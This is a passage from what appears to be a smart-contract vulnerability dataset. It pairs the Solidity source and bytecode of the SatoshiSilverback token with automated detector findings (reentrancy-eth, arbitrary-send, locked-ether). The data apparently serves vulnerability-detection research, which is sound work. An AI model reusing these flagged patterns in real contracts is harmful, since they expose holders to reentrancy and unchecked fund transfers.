1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60026020526000908152604090205481565b6a129c8f71ad02e2a680000081565b601281565b60015481565b60005433600160a060020a0390811691161461075a57600080fd5b60005460a060020a900460ff16151561077257600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b6000805433600160a060020a039081169116146107d557600080fd5b60045460ff16156107e557600080fd5b600160a060020a03831615156107fa57600080fd5b6000821161080757600080fd5b60015461081a908363ffffffff610d0916565b600155600160a060020a038316600090815260026020526040902054610846908363ffffffff610d0916565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109685780601f1061093d57610100808354040283529160200191610968565b820191906000526020600020905b81548152906001019060200180831161094b57829003601f168201915b505050505081565b600360209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b600160a060020a031660009081526002602052604090205490565b6000805433600160a060020a039081169116146109d457600080fd5b60045460ff16156109e457600080fd5b6004805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60005433600160a060020a03908116911614610a3b57600080fd5b60005460a060020a900460ff1615610a5257600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60408051808201909152600781527f4153542d4e455400000000000000000000000000000000000000000000000000602082015281565b6000805433600160a060020a03908116911614610b135760005460a060020a900460ff1615610b1357600080fd5b600160a060020a0383161515610b2857600080fd5b60008211610b3557600080fd5b600160a060020a033316600090815260026020526040902054821115610b5a57600080fd5b600160a060020a033316600090815260026020526040902054610b83908363ffffffff610cf716565b600160a060020a033381166000908152600260205260408082209390935590851681522054610bb8908363ffffffff610d0916565b600160a060020a038085166000818152600260209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610c5f57600080fd5b600160a060020a0381161515610c7457600080fd5b60005433600160a060020a03908116911614610c8f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d0357fe5b50900390565b600082820183811015610d1857fe5b93925050505600a165627a7a7230582001189c41c9b0d76cb400854546d50881e184f73d6ffdec2502656e76dd8a67610029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,241
0x3dedc9eb71e4247522e47cc96795825ecb9772a6
/** *Submitted for verification at Etherscan.io on 2021-07-27 */ /** _________ __ .__ .__ _________.__.__ ___. __ / _____/____ _/ |_ ____ _____| |__ |__|/ _____/|__| |___ __ __________\_ |__ _____ ____ | | __ \_____ \\__ \\ __\/ _ \/ ___/ | \| |\_____ \ | | |\ \/ // __ \_ __ \ __ \\__ \ _/ ___\| |/ / / \/ __ \| | ( <_> )___ \| Y \ |/ \| | |_\ /\ ___/| | \/ \_\ \/ __ \\ \___| < /_______ (____ /__| \____/____ >___| /__/_______ /|__|____/\_/ \___ >__| |___ (____ /\___ >__|_ \ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ Telegram: t.me/SatoshiSilverback Twitter: @SatoshiSilver */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SSilverback is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"SatoshiSilverback"; string private constant _symbol = unicode"SSilverback"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461037f578063c3c8cd801461039f578063c9567bf9146103b4578063db92dbb6146103c9578063dd62ed3e146103de578063e8078d941461042457600080fd5b8063715018a6146102cf5780638da5cb5b146102e457806395d89b411461030c578063a9059cbb14610340578063a985ceef1461036057600080fd5b8063313ce567116100fd578063313ce5671461021c57806345596e2e146102385780635932ead11461025a57806368a3a6a51461027a5780636fc3eaec1461029a57806370a08231146102af57600080fd5b806306fdde0314610145578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e757806327f3a72a1461020757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260118152705361746f73686953696c7665726261636b60781b60208201525b6040516101889190611bf5565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611b4d565b610439565b6040519015158152602001610188565b3480156101cd57600080fd5b50683635c9adc5dea000005b604051908152602001610188565b3480156101f357600080fd5b506101b1610202366004611b0d565b610450565b34801561021357600080fd5b506101d96104b9565b34801561022857600080fd5b5060405160098152602001610188565b34801561024457600080fd5b50610258610253366004611bb0565b6104c9565b005b34801561026657600080fd5b50610258610275366004611b78565b610572565b34801561028657600080fd5b506101d9610295366004611a9d565b6105f1565b3480156102a657600080fd5b50610258610614565b3480156102bb57600080fd5b506101d96102ca366004611a9d565b610641565b3480156102db57600080fd5b50610258610663565b3480156102f057600080fd5b506000546040516001600160a01b039091168152602001610188565b34801561031857600080fd5b5060408051808201909152600b81526a5353696c7665726261636b60a81b602082015261017b565b34801561034c57600080fd5b506101b161035b366004611b4d565b6106d7565b34801561036c57600080fd5b50601454600160a81b900460ff166101b1565b34801561038b57600080fd5b506101d961039a366004611a9d565b6106e4565b3480156103ab57600080fd5b5061025861070a565b3480156103c057600080fd5b50610258610740565b3480156103d557600080fd5b506101d961078d565b3480156103ea57600080fd5b506101d96103f9366004611ad5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043057600080fd5b506102586107a5565b6000610446338484610b58565b5060015b92915050565b600061045d848484610c7c565b6104af84336104aa85604051806060016040528060288152602001611dce602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121f565b610b58565b5060019392505050565b60006104c430610641565b905090565b6011546001600160a01b0316336001600160a01b0316146104e957600080fd5b603381106105365760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461059c5760405162461bcd60e51b815260040161052d90611c48565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610567565b6001600160a01b03811660009081526006602052604081205461044a9042611d38565b6011546001600160a01b0316336001600160a01b03161461063457600080fd5b4761063e81611259565b50565b6001600160a01b03811660009081526002602052604081205461044a906112de565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161052d90611c48565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610446338484610c7c565b6001600160a01b03811660009081526006602052604081206001015461044a9042611d38565b6011546001600160a01b0316336001600160a01b03161461072a57600080fd5b600061073530610641565b905061063e81611362565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161052d90611c48565b6014805460ff60a01b1916600160a01b179055610788426078611ced565b601555565b6014546000906104c4906001600160a01b0316610641565b6000546001600160a01b031633146107cf5760405162461bcd60e51b815260040161052d90611c48565b601454600160a01b900460ff16156108295760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108663082683635c9adc5dea00000610b58565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089f57600080fd5b505afa1580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611ab9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091f57600080fd5b505afa158015610933573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109579190611ab9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099f57600080fd5b505af11580156109b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d79190611ab9565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0781610641565b600080610a1c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7f57600080fd5b505af1158015610a93573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab89190611bc8565b5050674563918244f400006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1c57600080fd5b505af1158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190611b94565b5050565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156111c257601454600160a81b900460ff1615610e50573360009081526006602052604090206002015460ff16610e5057604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7b57506013546001600160a01b03838116911614155b8015610ea057506001600160a01b03821660009081526005602052604090205460ff16155b1561100457601454600160a01b900460ff16610efe5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052d565b60066009556004600a55601454600160a81b900460ff1615610fca57426015541115610fca57601054811115610f3357600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052d565b610fb042602d611ced565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100457610fe742600f611ced565b6001600160a01b0383166000908152600660205260409020600101555b600061100f30610641565b601454909150600160b01b900460ff1615801561103a57506014546001600160a01b03858116911614155b801561104f5750601454600160a01b900460ff165b156111c057601454600160a81b900460ff16156110dc576001600160a01b03841660009081526006602052604090206001015442116110dc5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052d565b601454600160b81b900460ff1615611141576000611105600c548461150790919063ffffffff16565b6014549091506111349061112d908590611127906001600160a01b0316610641565b90611586565b82906115e5565b905061113f81611627565b505b80156111ae57600b5460145461117791606491611171919061116b906001600160a01b0316610641565b90611507565b906115e5565b8111156111a557600b546014546111a291606491611171919061116b906001600160a01b0316610641565b90505b6111ae81611362565b4780156111be576111be47611259565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120457506001600160a01b03831660009081526005602052604090205460ff165b1561120d575060005b61121984848484611695565b50505050565b600081848411156112435760405162461bcd60e51b815260040161052d9190611bf5565b5060006112508486611d38565b95945050505050565b6011546001600160a01b03166108fc6112738360026115e5565b6040518115909202916000818181858888f1935050505015801561129b573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b68360026115e5565b6040518115909202916000818181858888f19350505050158015610b54573d6000803e3d6000fd5b60006007548211156113455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b600061134f6116c3565b905061135b83826115e5565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140c57600080fd5b505afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114449190611ab9565b8160018151811061146557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461148b9130911684610b58565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c4908590600090869030904290600401611c7d565b600060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826115165750600061044a565b60006115228385611d19565b90508261152f8583611d05565b1461135b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b6000806115938385611ced565b90508381101561135b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b600061135b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e6565b600a808210156116395750600a61164d565b602882111561164a5750602861164d565b50805b611658816002611714565b1561166b578061166781611d4f565b9150505b61167b600a611171836006611507565b60095561168e600a611171836004611507565b600a555050565b806116a2576116a2611756565b6116ad848484611784565b8061121957611219600e54600955600f54600a55565b60008060006116d061187b565b90925090506116df82826115e5565b9250505090565b600081836117075760405162461bcd60e51b815260040161052d9190611bf5565b5060006112508486611d05565b600061135b83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118bd565b6009541580156117665750600a54155b1561176d57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611796876118f1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c8908761194e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f79086611586565b6001600160a01b03891660009081526002602052604090205561181981611990565b61182384836119da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189782826115e5565b8210156118b457505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118de5760405162461bcd60e51b815260040161052d9190611bf5565b506118e98385611d6a565b949350505050565b600080600080600080600080600061190e8a600954600a546119fe565b925092509250600061191e6116c3565b905060008060006119318e878787611a4d565b919e509c509a509598509396509194505050505091939550919395565b600061135b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121f565b600061199a6116c3565b905060006119a88383611507565b306000908152600260205260409020549091506119c59082611586565b30600090815260026020526040902055505050565b6007546119e7908361194e565b6007556008546119f79082611586565b6008555050565b6000808080611a1260646111718989611507565b90506000611a2560646111718a89611507565b90506000611a3d82611a378b8661194e565b9061194e565b9992985090965090945050505050565b6000808080611a5c8886611507565b90506000611a6a8887611507565b90506000611a788888611507565b90506000611a8a82611a37868661194e565b939b939a50919850919650505050505050565b600060208284031215611aae578081fd5b813561135b81611daa565b600060208284031215611aca578081fd5b815161135b81611daa565b60008060408385031215611ae7578081fd5b8235611af281611daa565b91506020830135611b0281611daa565b809150509250929050565b600080600060608486031215611b21578081fd5b8335611b2c81611daa565b92506020840135611b3c81611daa565b929592945050506040919091013590565b60008060408385031215611b5f578182fd5b8235611b6a81611daa565b946020939093013593505050565b600060208284031215611b89578081fd5b813561135b81611dbf565b600060208284031215611ba5578081fd5b815161135b81611dbf565b600060208284031215611bc1578081fd5b5035919050565b600080600060608486031215611bdc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2157858101830151858201604001528201611c05565b81811115611c325783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ccc5784516001600160a01b031683529383019391830191600101611ca7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0057611d00611d7e565b500190565b600082611d1457611d14611d94565b500490565b6000816000190483118215151615611d3357611d33611d7e565b500290565b600082821015611d4a57611d4a611d7e565b500390565b6000600019821415611d6357611d63611d7e565b5060010190565b600082611d7957611d79611d94565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063e57600080fd5b801515811461063e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e49e293bb559bd16082fb15e3a49287e803eb5afe925df78b2947dfbfb8c1ef64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,242
0xb78f3cb52a67819554682719ed090e32f40714cf
